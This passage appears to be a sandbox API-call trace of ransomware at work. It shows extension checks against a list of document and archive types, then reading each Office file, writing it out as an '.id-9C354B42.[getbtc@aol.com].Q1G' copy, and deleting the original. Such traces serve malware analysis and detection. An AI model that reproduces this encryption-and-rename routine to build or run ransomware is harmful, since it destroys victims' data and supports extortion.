returned -1 [0250.059] lstrlenW (lpString=".docx") returned 5 [0250.059] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0250.059] lstrlenW (lpString=".pdf") returned 4 [0250.059] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0250.059] lstrlenW (lpString=".xls") returned 4 [0250.059] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0250.059] lstrlenW (lpString=".xlsx") returned 5 [0250.059] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0250.059] lstrlenW (lpString=".ppt") returned 4 [0250.059] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0250.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.059] lstrlenW (lpString=".zip") returned 4 [0250.059] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0250.059] lstrlenW (lpString=".rar") returned 4 [0250.059] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0250.059] lstrlenW (lpString=".bz2") returned 4 [0250.059] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0250.059] lstrlenW (lpString=".7z") returned 3 [0250.059] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0250.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.059] lstrlenW (lpString=".dbf") returned 4 [0250.059] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0250.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.059] lstrlenW (lpString=".1cd") returned 4 [0250.059] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0250.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.059] lstrlenW (lpString=".jpg") returned 4 [0250.059] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0250.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.059] lstrlenW (lpString=".doc") returned 4 [0250.059] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0250.059] lstrlenW (lpString=".docx") returned 5 [0250.059] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0250.059] lstrlenW (lpString=".pdf") returned 4 [0250.059] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0250.059] lstrlenW (lpString=".xls") returned 4 [0250.059] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0250.060] lstrlenW (lpString=".xlsx") returned 5 [0250.060] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0250.060] lstrlenW (lpString=".ppt") returned 4 [0250.060] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0250.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.060] lstrlenW (lpString=".zip") returned 4 [0250.060] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0250.060] lstrlenW (lpString=".rar") returned 4 [0250.060] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0250.060] lstrlenW (lpString=".bz2") returned 4 [0250.060] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0250.060] lstrlenW (lpString=".7z") returned 3 [0250.060] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0250.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.060] lstrlenW (lpString=".dbf") returned 4 [0250.060] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0250.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.060] lstrlenW (lpString=".1cd") returned 4 [0250.060] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0250.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.060] lstrlenW (lpString=".jpg") returned 4 [0250.060] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0250.060] lstrcmpiW (lpString1=".ACL", lpString2=".Q1G") returned -1 [0250.060] lstrlenW (lpString="MSO.ACL") returned 7 [0250.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.076] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=37762) returned 1 [0250.076] CloseHandle (hObject=0x3b0) returned 1 [0250.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl")) returned 0x20 [0250.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.077] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.077] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.104] GetLastError () returned 0x0 [0250.104] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x9382, lpOverlapped=0x0) returned 1 [0250.125] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x9390, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x9390, lpOverlapped=0x0) returned 1 [0250.126] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.126] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0250.126] SetEndOfFile (hFile=0x3bc) returned 1 [0250.127] CloseHandle (hObject=0x3bc) returned 1 [0250.127] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.127] SetEndOfFile (hFile=0x3b0) returned 1 [0250.129] CloseHandle (hObject=0x3b0) returned 1 [0250.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl")) returned 1 [0250.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.130] lstrlenW (lpString=".doc") returned 4 [0250.130] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0250.130] lstrlenW (lpString=".docx") returned 5 [0250.130] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0250.130] lstrlenW (lpString=".pdf") returned 4 [0250.130] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0250.130] lstrlenW (lpString=".xls") returned 4 [0250.130] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0250.130] lstrlenW (lpString=".xlsx") returned 5 [0250.130] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0250.130] lstrlenW (lpString=".ppt") returned 4 [0250.130] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0250.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.130] lstrlenW (lpString=".zip") returned 4 [0250.130] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0250.130] lstrlenW (lpString=".rar") returned 4 [0250.130] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0250.130] lstrlenW (lpString=".bz2") returned 4 [0250.130] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0250.130] lstrlenW (lpString=".7z") returned 3 [0250.130] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0250.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.130] lstrlenW (lpString=".dbf") returned 4 [0250.131] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0250.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.131] lstrlenW (lpString=".1cd") returned 4 [0250.131] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0250.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.131] lstrlenW (lpString=".jpg") returned 4 [0250.131] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0250.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.131] lstrlenW (lpString=".doc") returned 4 [0250.131] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0250.131] lstrlenW (lpString=".docx") returned 5 [0250.131] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0250.131] lstrlenW (lpString=".pdf") returned 4 [0250.131] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0250.131] lstrlenW (lpString=".xls") returned 4 [0250.131] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0250.131] lstrlenW (lpString=".xlsx") returned 5 [0250.131] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0250.131] lstrlenW (lpString=".ppt") returned 4 [0250.131] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0250.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.131] lstrlenW (lpString=".zip") returned 4 [0250.131] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0250.131] lstrlenW (lpString=".rar") returned 4 [0250.131] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0250.131] lstrlenW (lpString=".bz2") returned 4 [0250.131] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0250.131] lstrlenW (lpString=".7z") returned 3 [0250.131] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0250.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.131] lstrlenW (lpString=".dbf") returned 4 [0250.131] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0250.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.131] lstrlenW (lpString=".1cd") returned 4 [0250.131] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0250.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0250.132] lstrlenW (lpString=".jpg") returned 4 [0250.132] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0250.132] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0250.132] lstrlenW (lpString="MSOUC_COL.HXT") returned 13 [0250.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.132] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=205) returned 1 [0250.132] CloseHandle (hObject=0x3b0) returned 1 [0250.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt")) returned 0x20 [0250.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.133] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.133] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.133] GetLastError () returned 0x0 [0250.133] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xcd, lpOverlapped=0x0) returned 1 [0250.134] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0250.135] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.135] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xee, lpOverlapped=0x0) returned 1 [0250.135] SetEndOfFile (hFile=0x3bc) returned 1 [0250.135] CloseHandle (hObject=0x3bc) returned 1 [0250.135] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.135] SetEndOfFile (hFile=0x3b0) returned 1 [0250.151] CloseHandle (hObject=0x3b0) returned 1 [0250.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt")) returned 1 [0250.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.152] lstrlenW (lpString=".doc") returned 4 [0250.152] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.152] lstrlenW (lpString=".docx") returned 5 [0250.152] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.152] lstrlenW (lpString=".pdf") returned 4 [0250.153] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.153] lstrlenW (lpString=".xls") returned 4 [0250.153] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.153] lstrlenW (lpString=".xlsx") returned 5 [0250.153] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.153] lstrlenW (lpString=".ppt") returned 4 [0250.153] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.153] lstrlenW (lpString=".zip") returned 4 [0250.153] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.153] lstrlenW (lpString=".rar") returned 4 [0250.153] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.153] lstrlenW (lpString=".bz2") returned 4 [0250.153] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.153] lstrlenW (lpString=".7z") returned 3 [0250.153] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.153] lstrlenW (lpString=".dbf") returned 4 [0250.153] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.153] lstrlenW (lpString=".1cd") returned 4 [0250.153] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.153] lstrlenW (lpString=".jpg") returned 4 [0250.153] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.153] lstrlenW (lpString=".doc") returned 4 [0250.153] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.153] lstrlenW (lpString=".docx") returned 5 [0250.153] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.153] lstrlenW (lpString=".pdf") returned 4 [0250.153] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.153] lstrlenW (lpString=".xls") returned 4 [0250.153] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.153] lstrlenW (lpString=".xlsx") returned 5 [0250.153] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.153] lstrlenW (lpString=".ppt") returned 4 [0250.153] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.154] lstrlenW (lpString=".zip") returned 4 [0250.154] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.154] lstrlenW (lpString=".rar") returned 4 [0250.154] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.154] lstrlenW (lpString=".bz2") returned 4 [0250.154] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.154] lstrlenW (lpString=".7z") returned 3 [0250.154] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.154] lstrlenW (lpString=".dbf") returned 4 [0250.154] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.154] lstrlenW (lpString=".1cd") returned 4 [0250.154] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0250.154] lstrlenW (lpString=".jpg") returned 4 [0250.154] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.154] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.154] lstrlenW (lpString="MSOUC_F_COL.HXK") returned 15 [0250.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.154] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=114) returned 1 [0250.155] CloseHandle (hObject=0x3b0) returned 1 [0250.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk")) returned 0x20 [0250.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.155] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.155] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.156] GetLastError () returned 0x0 [0250.156] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x72, lpOverlapped=0x0) returned 1 [0250.157] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.157] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.157] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0250.157] SetEndOfFile (hFile=0x324) returned 1 [0250.158] CloseHandle (hObject=0x324) returned 1 [0250.158] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.158] SetEndOfFile (hFile=0x3b0) returned 1 [0250.160] CloseHandle (hObject=0x3b0) returned 1 [0250.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk")) returned 1 [0250.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.162] lstrlenW (lpString=".doc") returned 4 [0250.162] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.162] lstrlenW (lpString=".docx") returned 5 [0250.162] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.162] lstrlenW (lpString=".pdf") returned 4 [0250.162] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.162] lstrlenW (lpString=".xls") returned 4 [0250.162] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.162] lstrlenW (lpString=".xlsx") returned 5 [0250.162] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.162] lstrlenW (lpString=".ppt") returned 4 [0250.162] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0250.162] lstrlenW (lpString=".zip") returned 4 [0250.162] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.162] lstrlenW (lpString=".rar") returned 4 [0250.162] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.162] lstrlenW (lpString=".bz2") returned 4 [0250.162] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.162] lstrlenW (lpString=".7z") returned 3 [0250.162] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.162] lstrlenW (lpString="C:\\Program Files\\Microsoft 